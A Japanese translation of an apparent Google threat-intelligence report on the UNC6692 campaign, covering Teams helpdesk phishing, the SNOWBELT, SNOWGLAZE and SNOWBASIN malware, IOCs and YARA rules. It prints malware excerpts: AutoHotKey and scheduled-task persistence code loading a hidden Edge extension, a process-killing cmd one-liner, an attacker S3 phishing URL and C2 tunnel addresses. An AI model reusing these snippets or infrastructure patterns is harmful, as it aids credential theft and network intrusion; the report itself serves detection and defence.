著者: JP Glab、Tufail Ahmed、Josh Kelley、Muhammad Umair
はじめに
Google脅威インテリジェンスグループ(GTIG)は、新たに追跡された脅威グループUNC6692による多段階の侵入キャンペーンを特定しました。このキャンペーンは、持続的なソーシャルエンジニアリング、カスタムモジュール型マルウェアスイート、および被害者環境内での巧妙なピボットを活用して、ネットワークの深い侵入を実現しました。
最近の他の多くの侵入と同様に、UNC6692はIT ヘルプデスク従業員になりすまし、被害者に組織外のアカウントからMicrosoft Teamsチャット招待を受け入れるよう説得することに大きく依存していました。UNC6692キャンペーンは、特にソーシャルエンジニアリング、カスタムマルウェア、および悪意あるブラウザ拡張機能の使用において、戦術の興味深い進化を示しており、複数の異なるエンタープライズソフトウェアプロバイダーに対する被害者の本来的な信頼を悪用しています。
脅威の詳細
2025年12月下旬、UNC6692は大規模なメールキャンペーンを実施し、ターゲットにメッセージで圧倒して緊急性と混乱を生じさせました。その後、攻撃者はMicrosoft Teamsを通じてフィッシングメッセージを送信し、ヘルプデスク職員になりすまして電子メール量の問題についての支援を申し出ました。
感染チェーン
被害者はMicrosoft Teamsを通じて連絡を受け、電子メールスパムを防ぐローカルパッチをインストールするためのリンクをクリックするよう促されました。クリックすると、ユーザーのブラウザはHTMLページを開き、最終的に攻撃者が管理するAWS S3バケットから同じ名前の名前を変更されたAutoHotKeyバイナリとAutoHotKeyスクリプトをダウンロードしました。
"url": "https://service-page-25144-30466-outlook.s3.us-west-2.amazonaws.com/update.html?email=<redacted>.com",
"description": "Microsoft Spam Filter Updates | Install the local patch to protect your account from email spamming",
図1: MS Teamログからの抜粋
AutoHotKeyバイナリが現在のディレクトリのスクリプトファイルと同じ名前である場合、AutoHotKeyは追加のコマンドライン引数なしでスクリプトを自動的に実行します。AutoHotKey実行の証拠はダウンロード直後に記録され、初期的な偵察コマンドとSNOWBELTのインストール(Chrome Webストアを通じて配布されていない悪意あるChromiumブラウザ拡張機能)が行われました。Mandiantは初期AutoHotKeyスクリプトを復旧することができませんでした。
SNOWBELTの永続性は複数の方法で確立されました。まず、AutoHotKeyスクリプトへのショートカットがWindowsスタートアップフォルダに追加され、SNOWBELTが実行されていることを確認し、スケジュールタスクが存在することを確認しました。
if !CheckHeadlessEdge(){
try{
taskService:=ComObject("Schedule.Service")
taskService.Connect()
rootFolder:=taskService.GetFolder("\")
if FindAndRunTask(rootFolder){
Sleep 10000
if CheckHeadlessEdge(){
ExitApp
}
}
}
Run 'cmd /c start "" "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\System Data" --headless=new --load-extension="%LOCALAPPDATA%\Microsoft\Edge\Extension Data\SysEvents" --no-first-run',,"Hide"
}
ExitApp
図 2: SNOWBELTが実行されていることを確認し、実行されていない場合は起動するためのAutoHotKeyスクリプトからの抜粋
次に、2つの追加スケジュールタスクがインストールされました。1つのタスクはSNOWBELT拡張機能をロードするウィンドウレスのMicrosoft Edgeプロセスを起動し、もう1つはCoreUIComponents.dllが読み込まれていないMicrosoft Edgeプロセスを特定して終了します。
<Exec>
<Command>
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
</Command>
<Arguments>
--user-data-dir="C:\Users\<redacted>\AppData\Local\Microsoft\Edge\System Data"
--no-first-run
--load-extension="C:\Users\<redacted>\AppData\Local\Microsoft\Edge\Extension Data\SysEvents"
--headless=new --disable-sync
</Arguments>
</Exec>
図 3: SNOWBELT拡張機能をロードするウィンドウレスのMicrosoft Edgeを起動するためのスケジュールタスクからの抜粋
CoreUIComponents.dllのないMicrosoft Edgeプロセスは通常、ヘッドレスです。脅威アクターはこのコマンドを使用して、本質的にマルウェアを実行するヘッドレスEdgeプロセスを「クリーンアップ」します。
<Exec>
<Command>cmd</Command>
<Arguments>
/c "for /f "tokens=2" %p in ('tasklist /M SHELL32.dll ^| findstr "msedge.exe"') do @(tasklist /M CoreUIComponents.dll | findstr "%p" >nul || taskkill /F /PID %p)"
</Arguments>
</Exec>
図4: CoreUIComponents.dllをチェックするスケジュールタスクからの抜粋
SNOWBELT拡張機能を使用して、UNC6692はSNOWGLAZE、SNOWBASIN、AutoHotKeyスクリプト、およびポータブルPython実行可能ファイルと必要なライブラリを含むZIPアーカイブを含む追加ファイルをダウンロードしました。
内部偵察と横展開
初期アクセス後、プロセス実行テレメトリはUNC6692がポート135、445、および3389のローカルネットワークをスキャンするPythonスクリプトを使用していることを記録しました。内部ポートスキャン後、脅威アクターはSNOWGLAZEトンネル経由でシステムズインターナルスPsExecセッションを被害者システムに確立し、コマンドを実行してローカル管理者アカウントを列挙しました。ローカル管理者アカウントを使用して、脅威アクターはSNOWGLAZEトンネル経由で被害者システムからバックアップサーバーへのRDPセッションを開始しました。直接観察されてはいませんが、脅威アクターは認証されたサーバーメッセージブロック(SMB)共有列挙などの複数の攻撃パスを通じてローカル管理者アカウント認証情報を取得した可能性があります。
権限昇格
バックアップサーバーへのアクセスを取得した後、脅威アクターはローカル管理者アカウントを利用して、Windows タスクマネージャーを使用してシステムのLSASSプロセスメモリを抽出しました。Microsoft Windows Local Security Authority Subsystem Service(LSASS)プロセス lsass.exe はセキュリティポリシーを実装し、システムにアクセスしたアカウントのユーザー名、パスワード、ハッシュを含みます。プロセスメモリを抽出した後、UNC6692はLimeWireを介してそれを流出させました。プロセスメモリが被害者環境から出た状態で、UNC6692は攻撃的なセキュリティツールを使用して認識検出の心配をすることなく認証情報を抽出することができます。
ミッション完了
昇格したユーザーのパスワードハッシュを手に入れた状態で、UNC6692はPass-The-Hashを使用してネットワークのドメインコントローラーに横展開しました。Pass-The-Hashは、NTLMハッシュがアカウントパスワードを提供する代わりに別のシステムに渡される脅威アクターによって使用される一般的な手法であり、NTLMによる認証を可能にします。ドメインコントローラーに認証されると、脅威アクターはMicrosoft Edgeを開き、FTK Imagerを含むZIPアーカイブをドメイン管理者の \Downloads フォルダにダウンロードしました。脅威アクターはFTK Imagerを実行し、ローカルストレージドライブをマウントしました。その後、FTK ImagerはActive Directoryデータベースファイル(NTDS.dit)、Security Account Manager(SAM)、SYSTEM、およびSECURITYレジストリハイブを \Downloads フォルダに書き込みました。抽出されたファイルは、LimeWireを介してネットワークから流出させられました。最後に、EDRテレメトリはドメインコントローラーで脅威アクターが画面キャプチャを実行し、特にMicrosoft EdgeおよびFTK Imagerの表示中のインスタンスをターゲットにしていることを記録しました。

図5: UNC6692攻撃ライフサイクル
SNOWエコシステム
フィッシングランディングページ
元のフィッシングリンク(https://service-page-25144-30466-outlook.s3.us-west-2.amazonaws.com/update.html?email=<redacted>.com)がMicrosoft Teamsを介して配信され、被害者を「メールボックス修復ユーティリティ」になりすましたランディングページに導きます。このインターフェイスは、画面上のさまざまなボタンを通じてユーザーエンゲージメントを引き出すために設計されています。

図6: 公式の「メールボックス修復と同期ユーティリティv2.1.5」になりすましているランディングページ。
フェーズ1: 環境の強制実行と分析対策
攻撃者は、ペイロードが意図したターゲットにのみ配信され、自動化されたセキュリティサンドボックスを回避するように設計されたゲートキーパースクリプトを使用しました。ロード時に、ランディングページは init() 関数を実行し、必須の ?email= パラメータのURLを検査します。このパラメータが存在しない場合、ページは直ちに about:blank にリダイレクトします。
スクリプトは被害者のブラウザもチェックします。ユーザーがMicrosoft Edgeを使用していない場合、ページは永続的なオーバーレイ警告を表示します。これにより、ユーザーは「Edgeで開く」ボタンをクリックするよう強制され、 microsoft-edge: URIスキームがトリガーされます。これにより、被害者は潜在的に安全なモバイルまたはサードパーティのブラウザ環境から、攻撃者のエクスプロイトが最も効果的な特定のワークスペースに移動されます。
フェーズ2: ソーシャルエンジニアリングを通じた認証情報の収集
環境が確立されると、ページは公式の「メールボックス修復と同期ユーティリティ」になりすましている専門的に見える「構成管理パネル」を提示します。主なフックは「ヘルスチェック」ボタンで、クリックすると「認証が必要」モーダルがトリガーされます。
収集スクリプトhandleAuthFormSubmitは「ダブルエントリ」心理的トリックを採用しています。これは、最初と2番目のパスワード試行を不正として拒否するようにプログラムされています。これは2つの機能を果たします。システムが合法的であり、リアルタイム検証を実行していることを強化し、攻撃者が盗まれたデータのタイプミスのリスクを大幅に軽減するために、攻撃者がパスワードを2回キャプチャしていることを保証します。認証のスクリーンショットは図7に表示され、提供されたメールはデフォルトで入力されます。

図7: 「ヘルスチェック」ボタンによってトリガーされた認証情報収集プロンプト
フェーズ3: データ流出と気晴らしシーケンス
正常に送信されると、スクリプトはAWS URLを使用して非同期PUT要求を実行します。検証された認証情報とメタデータは、攻撃者が制御するAmazon S3バケット(例: service-page-18968-2419-outlook.s3.us-west-2.amazonaws.com)に直接アップロードされ、その後削除されました。これらのバケットは、コマンドアンドコントロール(C2)インフラストラクチャとして機能し、侵害の重要なインジケータ(IOC)を表します。
このバックグラウンド活動をマスクし、ユーザーの疑惑を防ぐために、スクリプトはstartProgressBar関数を開始します。これは「構成データの解析」や「メールボックスの整合性のチェック」などの偽の技術的タスクが特徴の、スクリプト化された気晴らしシーケンスを表示します。この操作により、被害者はデータ転送が完了するまで参加したまま保たれます。

図8: 盗まれたデータの背景流出をマスクするために使用されるスクリプト化された気晴らしシーケンス
フェーズ4: マルウェアステージングとエンドポイントの足がかり
最終段階は、スクリプトのCONFIGオブジェクト内で参照される2次的な悪意あるペイロードの配信を伴います。進捗バーが実行されている間、表1に表示されるファイルを配信するためにサイトが準備されます。
|
クリックされたボタン |
ダウンロードされたファイル |
タイプ/リスク |
|
プロフィール1.3 |
Protected.ahk |
AutoHotKeyスクリプト: 調査中に見つかりませんでしたが、SNOWBELTをインストールすると思われます。 |
|
プロフィールB5 |
profileB5.txt |
マルウェアの構成ファイルの可能性があります。 |
|
コンポーネント検証 |
RegSrvc.exe |
AutoHotKey実行可能ファイル: 「登録サービス」になりすましています。 |
|
ヘルスチェック |
該当なし |
ユーザーに電子メール認証情報の入力を促します。認証情報をAmazon S3バケットに流出させます。 |
表1: ランディングページのボタン
ユーザーが「構成が正常に完了しました」というメッセージを受け取るまでに、攻撃者は認証情報を保護し、これらのステージングされたファイルを使用してエンドポイントに永続的な足がかりを確立した可能性があります。
脅威クラスターUNC6692に起因するSNOWマルウェアエコシステムは、SNOWBELT、SNOWGLAZE、SNOWBASINの3つの主要コンポーネントで構成されるモジュール式エコシステムとして機能します。孤立したツールとして機能する代わりに、これらのコンポーネントは、初期ブラウザベースのアクセスから組織の内部ネットワークへの攻撃者のジャーニーを促進する調整されたパイプラインを形成します。

図9: SNOWエコシステム
1.SNOWBELT(ブラウザ拡張機能)
SNOWBELT は初期的な足がかりであり、操作の主要な「目」として機能します。これはJavaScriptベースのバックドアで、Chromiumブラウザ拡張機能として配信され、「MS Heartbeat」や「System Heartbeat」などの名前の下で偽装されることが多いです。 Chrome Webストアを通じて利用可能な代わりに、拡張機能はソーシャルエンジニアリング戦術を通じてデプロイされます。
-
役割: コマンドをインターセプトしてSNOWBASINに送信するように設計されています。ブラウザの拡張機能登録システムを通じて永続性を維持し、Service Worker AlarmsおよびKeep-Alive Tab Injection(helper.html経由)を使用して、ブラウザが実行されている場合は常に活動を保持します。
-
機能: 脅威アクターからSNOWBASINにコマンドをリレーすることで、SNOWBELTは環境への認証されたアクセスを提供します。これにより、攻撃者は常に再認証を必要とせずに横展開し、権限を昇格させることができます。
2.SNOWGLAZE(Pythonトンネラー)
足がかりが確立されると、SNOWGLAZEがデプロイされて外部通信のロジスティクスを管理します。SNOWGLAZEは、WindowsおよびLinux環境の両方で動作できるPythonベースのトンネラーです。
-
役割: その主な機能は、被害者の内部ネットワークと攻撃者のコマンドアンドコントロール(C2)インフラストラクチャ(Herokuサブドメインなど)の間にセキュアな認証済みWebSocketトンネルを作成することです。SOCKSプロキシ操作を促進し、任意のTCPトラフィックが感染したホストを通じてルーティングされるようにします。
-
機能: SNOWGLAZEはWebSockets経由の転送用にJSONオブジェクトのデータをラップしてBase64エンコードすることで、悪意あるトラフィックをマスクします。これにより、アクティビティは標準的な暗号化されたウェブトラフィックのように見えます。攻撃者がSNOWBASINなどのバックドアと相互作用したいとき、またはステージングされたデータを流出させたいとき、トラフィックはこの確立されたトンネルを通じてルーティングされます。
3.SNOWBASIN(Pythonバインドシェル)
SNOWBELTがユーザーをモニタリングし、SNOWGLAZEがネットワークギャップをブリッジする一方で、SNOWBASINは感染したシステム上の機能的な対話的コントロールを提供します。
-
役割: ローカルHTTPサーバー(通常はポート8000でリッスン)として機能する永続的なバックドアとして機能します。cmd.exeまたはpowershell.exe経由のリモートコマンド実行、スクリーンショットキャプチャ、および流出用のデータステージングを可能にします。
-
機能: このコンポーネントは、アクティブな偵察とミッション完了が発生する場所です。攻撃者コマンド(whoamiやnet userなど)がSNOWGLAZEトンネルを通じて送信され、SNOWBELT拡張機能によってインターセプトされ、HTTP POST要求経由でSNOWBASINローカルサーバーにプロキシされます。SNOWBASINはこれらのコマンドを実行し、結果を同じパイプラインを通じて攻撃者に送り返します。
マルウェア分析
SNOWBELT
SNOWBELTはChromiumブラウザ拡張機能として実装されたJavaScriptベースのバックドアです。そのライフサイクルは、ブラウザの拡張機能登録システムを利用する永続性を活用しているインストール時のbackground.js Service Worker実行で始まります。ブラウザがアクティブな間も継続的な操作を保証するために、マルウェアはService Worker Alarms(agent-heartbeat)およびKeep-Alive Tab Injection(helper.html)を利用します。
初期化時に、マルウェアはプレフィックスfp-sw-の後にUUIDを使用して一意のID生成を行います。その後、それはC2 URLを計算するために時間ベースのDGAを採用しています。ハードコードされたシード値(691f7258f212fa8908a8bf06bcf9e027d2177276e13e10ff56bd434ff3755cc4)を使用して、30分間のタイムスロット内でS3バケットのレジストリURLを生成します。これらのURLは特定の構造パターンに従います:
https://[a-f0-9]{24}-[0-9]{6,7}-{0-9}{1}.s3.us-east-2.amazonaws[.]com
このレジストリから取得されたマニフェストは、SHA256(SEED + “|” + timeslot)から導出されたキーを使用してAES-GCM経由で復号化されます。
低レイテンシーC2の場合、SNOWBELTはブラウザのプッシュ通知サービスに登録されます。これはハードコードされたVAPID公開鍵を使用して実現されます:
BJkWCT45mL0uvV3AssRaq9Gn7iE2N7Lx38ZmWDFCjwhz0zv0QSVhKuZBLTTgAijB12cgzMzqyiJZr5tokRzSJu0
このセットアップは、攻撃者が認証済みプッシュメッセージ経由でService Workerを即座に「ウェイクアップ」できるようにする非同期チャネルを提供し、標準的なポーリングをバイパスします。さらに、マルウェアは永続的なREGISTRY_WEBSOCKET_URL接続を通じたリアルタイム対話をサポートしています。
SNOWBELTはSNOWBASIN(通常はポート8000でローカルウェブサーバーとして機能するバックドア)と連携して機能します。HTTP POST要求経由でSNOWBASINに復号化されたC2コマンド(command、buffer、flush、commit)をリレーし、実質的にシェルコマンドをホストシステムにプロキシします。
マルウェアには、ブラウザサンドボックスをバイパスするメカニズムも含まれています:
-
ネイティブホストブリッジ(open_native_messaging): chrome.runtime.connectNativeを使用して、ローカルアプリケーションとのI/Oパイプを確立し、特権コマンドを発行します。
-
プロトコルハンドラの乱用(open_uri): dream.htmlおよびdream.jsを採用して、新しいタブでカスタムURIスキームをトリガーし、サードパーティのデスクトップアプリケーションの脆弱性をターゲットにします.
流出はsendJsonDataToS3関数によって管理され、AES-GCM(キー: SHA256(SEED + “|ping|” + bucket + “|” + objectKey))でデータを暗号化してからS3にアップロードします。バックドアのコマンドセットは表2に要約されています。
|
コマンドタイプ |
説明 |
|---|---|
|
command |
リレー済み: コマンドテキストを復号化してSNOWBASINに POST します。応答をC2に流出させます。 |
|
buffer |
リレー済み: ファイルパスペイロードをローカルバッファエンドポイントに転送します。 |
|
flush |
リレー済み: ローカルサーバーでのデータフラッシュをトリガーします。 |
|
commit |
リレー済み: ローカル処理用のURLとパスデータを送信します。 |
|
stop_server |
リレー済み: ローカルSNOWBASINインスタンスのシャットダウン信号。 |
|
screenshot |
リレー済み: ホストからのスクリーンキャプチャをリクエストします。 |
|
payload |
内部: chrome.downloadsを使用してファイルをダウンロード。URLおよびbase64 BLOBをサポートします。 |
|
open_native_messaging |
内部: Chrome APIを通じたネイティブホストアプリへの直接接続。 |
|
open_uri |
内部: ヘルパーページ経由で外部プロトコルハンドラをトリガーします。 |
|
delete_cache |
内部: ダウンロードされたファイルをシステムから削除します。 |
|
websocket_control |
内部: WebSocket接続の状態を制御します。 |
|
ping |
内部: C2へのハートビートとステータスアップデートを提供します。 |
表2: SNOWBELTコマンド
最後に、SNOWBELTはchrome.downloads.onChangedを監視することでフィードバックループを実装しています。ダウンロードがブロックされた場合(例: FILE_VIRUS_INFECTED)、マルウェアはエラーをS3ベースのC2に報告します。
SNOWBASIN
SNOWBASINはポート8000、8001、または8002でローカルHTTPサーバーとして動作するPythonベースのバックドアです。その主なカテゴリには、コマンド実行、スクリーンショットキャプチャ、およびデータ流出が含まれます。マルウェアはまた、オペレータがファイルをダウンロードまたは削除することで管理し、アクティブな接続を終了する能力を提供することも可能にします。SNOWBELTはlocalhost:8000に HTTP要求を送信することでこのマルウェアにコマンドをリレーします。
これは被害者のコンピューターをHTTP要求経由で制御できるコマンドアンドコントロール(C2)ノードに変えます。これはWindows上での実行を設計されています(os.chdir(‘C:\\’)とcmd.exe呼び出しで明らかです)。リモートアクターは、コマンドを実行し、ファイルを盗み、スクリーンショットを取得できます。
|
エンドポイント |
機能 |
説明 |
|---|---|---|
|
/stream |
リモートシェル |
コマンドを受け取り、cmd.exeまたはpowershell.exe経由で実行します。攻撃者にSTDOUT/STDERRの結果を返します。 |
|
/buffer |
ファイル流出 |
ファイルパスが提供される場合、ファイルを読み取り、Base64でエンコードして送り返します。フォルダが提供される場合は、完全なディレクトリリストを返します |
|
/flush |
ファイル削除 |
リレー済み。http://localhost[:]8000/flushへ信号を送信してバッファリングされたデータをフラッシュします。 |
|
/commit |
ファイル流入 |
提供されたURLからファイルをダウンロードし、ローカルディスク上の特定のパスに保存します。SSL証明書検証をバイパスします(CERT_NONE)。 |
|
/capture |
スクリーンショットを撮る |
mssおよびPILライブラリを使用してすべてのモニターのスクリーンショットを撮り、Base64文字列として画像を送り返します。 |
|
/gc |
自己終了 |
サーバーインスタンスをシャットダウンし、実質的にバックドアの接続を「キル」します。 |
表3: SNOWBASINエンドポイント
SNOWGLAZE
ネットワークトンネラーSNOWGLAZEはPythonで開発され、ハードコードされた認証情報を使用して静的C2ホストへのWebSocket接続を確立することで、感染したシステムを通じた任意のTCPトラフィックのルーティングを促進します。
スクリプトはWindowsおよびLinux両方でのクロスプラットフォーム実行用に設計され、各環境固有の動作を利用します。Windows環境では、標準的なキーボード割り込み(Ctrl-C)を介して管理可能なフォアグラウンドプロセスとして実行されます。逆に、Linuxではバックグラウンドデーモンとして動作し、秩序のあるシャットダウンのためのSIGINTおよびSIGTERMシグナルを処理するための特定のロジックを含みます。
通信を確立するために、マルウェアはwss://sad4w7h913-b4a57f9c36eb[.]herokuapp[.]com:443/wsのC2サーバーをターゲットにし、Microsoft Edge User-Agentで通信をマスクします。初期接続が失敗した場合、スクリプトは増分バックオフ戦略を採用し、5秒で開始して5秒の増加で最大300秒まで増加します。WebSocketハンドシェイクが成功すると、次の認証ペイロードを送信します:
{
"type": "auth",
"login": "<redacted",
"password": "<redacted",
"uuid": "<redacted>"
}
認証後、スクリプトはペイロードなしで「register」タイプメッセージを送信し、その後「agent_info」JSONレコードを続けます。このレコード内の「info」フィールドは公開IPアドレスを提供することを意図していますが、スクリプトの不適切な実装により空のままです。
完全に接続されると、マルウェアはJSON形式のコマンドをリッスンします。サポートされている「type」値は次のとおりです:
-
ping
-
スクリプトに「type」: 「pong」JSON オブジェクトを返すよう促します。
agent_public_ip
-
agent_info構造経由でホストの公開IPを報告することを意図したもの。ただし、現在のバージョンではIPフィールドは常に空白です。
socks_connect
-
オペレーターがセッションを追跡するために提供する一意のconn_idを使用してSOCKSプロキシ接続をリクエストします。要求形式は以下の通りです:
{
"type": "socks_connect",
"conn_id": "<unique_connection_id>",
"target_host": "example.com",
"target_port": 80
}
-
-
実行がTCP-to-WebSocketデータ転送を管理する非同期ワーカースレッドをトリガーし、Base64エンコーディングとsocks_dataタイプのJSONカプセル化を利用します。
-
-
socks_data
-
WebSocketとTCPソケット間の双方向データ交換を促進します。データは次の構造のdataフィールド内でBase64エンコードされます:
-
{
"type": "socks_data",
"conn_id": "<unique_connection_id>",
"data": "bG9yZW0gaXBzdW0="
}
-
socks_close
-
指定されたconn_idで識別される特定のプロキシストリームを終了します。
disconnect
-
すべてのアクティブなプロキシ接続を提供し、スクリプト実行を終了します。
見通しと含意
UNC6692キャンペーンは、現代の攻撃者がソーシャルエンジニアリングと技術的回避をどのように組み合わせて環境に足がかりを得るかを実証しています。この戦略の重要な要素は、ペイロード配信と流出、およびコマンドアンドコントロール(C2)インフラストラクチャのための合法的なクラウドサービスの系統的な悪用です。攻撃者は信頼されたクラウドプラットフォーム上に悪意あるコンポーネントをホストすることで、従来のネットワーク評判フィルターをバイパスし、合法的なクラウドトラフィックの膨大な量に混ざることができることが多いです。
この「クラウドを利用した生活」戦略により、攻撃者は暗号化された信頼できるソースから来たトラフィックの膨大な量に悪意あるオペレーションを混ぜることができ、ドメイン評判またはIPブロッキングに基づいた検出はますます無効になっています。ディフェンダーはブラウザアクティビティと許可されていないクラウドトラフィックに明確な可視性を得るために、プロセスモニタリングを超えて見なければなりません。脅威アクターがこれらのモジュール式、クロスプラットフォーム方法論を引き続き専門化する中、ブラウザ、ローカルPython環境、およびクラウド流出ポイント全体の異なるイベントを関連付ける能力は、早期検出のために重要になるでしょう。
|
インジケータ |
説明 |
|
|
フィッシングサイトと初期AutoHotKeyペイロードをホスト |
|
|
SNOWBELT C2 |
|
|
SNOWGLAZE内にハードコードされたWebSocketセキュアURL |
|
|
テキストファイルのアップロード用に使用されるドメインのURL |
ファイルインジケータ
|
ファイル名 |
説明 |
SHA-256ハッシュ |
|
C:\ProgramData\log |
SNOWGLAZE |
|
|
C:\ProgramData\log |
SNOWBASIN |
|
|
C:\Users\<user>\AppData\Local\Microsoft\Edge\Extension Data\SysEvents\background.js |
SNOWBELT Service worker |
|
|
C:\Users\<user>\AppData\Local\Microsoft\Edge\Extension Data\SysEvents\dream.js |
SNOWBELT JSリソース |
|
|
C:\Users\<user>\AppData\Local\Microsoft\Edge\Extension Data\SysEvents\dream.html |
SNOWBELT HTMLリソース |
|
|
C:\Users\<user>\AppData\Local\Microsoft\Edge\Extension Data\SysEvents\helper.html |
SNOWBELT HTMLリソース |
|
YARAルール
SNOWGLAZE
rule G_Tunneler_SNOWGLAZE_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
platforms = "Windows, Linux"
strings:
$r1 = /\.connect\(\s{0,25}WS_PROXY_URL/
$r2 = /"data":\s{0,1}base64\.b64encode\(\w{1,10}\)\.decode\('ascii'\)/
$r3 = /"type":\s{0,1}"socks_data"/
$r4 = /await\s{0,1}reader\.read\(\d{2,4}\)/
$r5 = /"login":\s{0,1}AGENT_LOGIN/
$r6 = /"password":\s{0,1}AGENT_PASSWORD/
$r7 = /"uuid":\s{0,1}AGENT_UUID/
$s1 = ".socks_tcp_to_ws"
condition:
5 of ($r*)
and $s1
}
SNOWBELT
rule G_Backdoor_SNOWBELT_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
platform = "Windows"
strings:
$str1 = ".importKey(\"raw\",keyMaterial,\"AES-GCM\",!1,[\"decrypt\"])"
$str2 = ".importKey(\"raw\",keyMaterial,\"AES-GCM\",!1,[\"encrypt\"])"
$str3 = "sendJsonDataToS3"
$str4 = "processCommand"
$str5 = "\"screenshot\"===cmdType"
$str6 = "\"payload\"===cmdType"
$str7 = "\"websocket_control\"===cmdType"
$str8 = "\"open_uri\"===cmdType"
$str9 = "\"delete_cache\"===cmdType"
$str10 = "\"payload_download_complete\""
$str11 = ".s3.us-east-2.amazonaws.com/"
condition:
all of them
}
SNOWBASIN
rule G_Backdoor_SNOWBASIN_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
platform = "Windows"
strings:
$path1 = "self.path == '/probe':"
$path2 = "self.path == '/stream':"
$path3 = "self.path == '/buffer':"
$path4 = "self.path == '/flush':"
$path5 = "self.path == '/commit':"
$path6 = "self.path == '/capture':"
$path7 = "self.path == '/gc':"
$func1 = "self.handle_stream("
$func2 = "self.handle_buffer("
$func3 = "self.handle_flush("
$func4 = "self.handle_commit("
$s1 = "self.wfile.write(info_msg"
$s2 = "selected_port), WebServerHandler) as httpd:"
$s3 = "ThreadedTCPServer(socketserver.ThreadingMixIn"
$s4 = "httpd.serve_forever()"
condition:
filesize<1MB and (
(all of ($s*) and 6 of ($path*, $func*)) or
(8 of ($path*, $func*)) or
10 of them
)
}
MITRE ATT&CK
|
戦術 |
テクニック |
|---|---|
|
初期アクセス |
T1566.002: スピアフィッシングリンク |
|
実行 |
T1053: スケジュールタスク/ジョブ T1053.005: スケジュール タスク T1059: コマンドおよびスクリプトインタプリター T1059.001: PowerShell T1059.003: Windowsコマンドシェル T1059.006: Python T1059.007: JavaScript T1059.010: AutoHotKey & AutoIT T1204.001: 悪意あるリンク T1204.002: 悪意あるファイル T1559: プロセス間通信 T1569.002: サービス実行 |
|
永続性 |
T1176.001: ブラウザ拡張機能 T1543: システムプロセスの作成または変更 T1543.003: Windowsサービス T1547.001: レジストリ実行キー/スタートアップフォルダ T1547.009: ショートカット変更 |
|
権限昇格 |
T1068: 権限昇格のためのエクスプロイト |
|
防御回避 |
T1027: 難読化されたファイルまたは情報 T1027.010: コマンド難読化 T1027.015: 圧縮 T1036.005: 合法的なリソース名またはロケーションと一致 T1055: プロセスインジェクション T1070.004: ファイル削除 T1112: レジストリ変更 T1134: アクセストークン操作 T1134.001: トークン偽装/盗難 T1140: ファイルまたは情報の難読化解除/デコード T1202: 間接コマンド実行 T1562.001: ツールの無効化または変更 T1564.001: 隠しファイルおよびディレクトリ T1622: デバッガー回避 |
|
認証情報アクセス |
T1003.001: LSASSメモリ T1003.002: Security Account Manager T1003.003: NTDS T1110.001: パスワード推測 T1110.003: パスワードスプレー T1552.001: ファイル内の認証情報 |
|
検出 |
T1007: システムサービス検出 T1012: レジストリクエリ T1016: システムネットワーク構成検出 T1018: リモートシステム検出 T1033: システム所有者/ユーザー検出 T1046: ネットワークサービス検出 T1057: プロセス検出 T1082: システム情報検出 T1083: ファイルおよびディレクトリ検出 T1087.001: ローカルアカウント T1518: ソフトウェア検出 |
|
横展開 |
T1021.001: リモートデスクトッププロトコル T1021.002: SMB/Windows管理共有 |
|
収集 |
T1005: ローカルシステムからのデータ T1074: ステージングされたデータ T1113: 画面キャプチャ T1560: 収集されたデータをアーカイブ T1560.001: ユーティリティによるアーカイブ |
|
流出 |
T1020: 自動流出 T1567: ウェブサービス経由の流出 T1567.002: クラウドストレージへの流出 |
|
コマンドアンドコントロール |
T1071.001: ウェブプロトコル T1090: プロキシ T1105: 侵入ツール転送 T1572: プロトコルトンネリング |
|
影響 |
T1489: サービス停止 |
|
リソース開発 |
T1608.002: ツールアップロード T1608.005: リンクターゲット |
謝辞
この分析は、Mandiantコンサルティング、Google脅威インテリジェンスグループ、およびFLAREの複数の個人による支援なしには不可能だったでしょう。分析とこのブログ投稿のレビューに協力していただきました。また、この脅威に対する協力についてAmazonにも感謝いたします。
翻訳元: https://cloud.google.com/blog/topics/threat-intelligence/unc6692-social-engineering-custom-malware/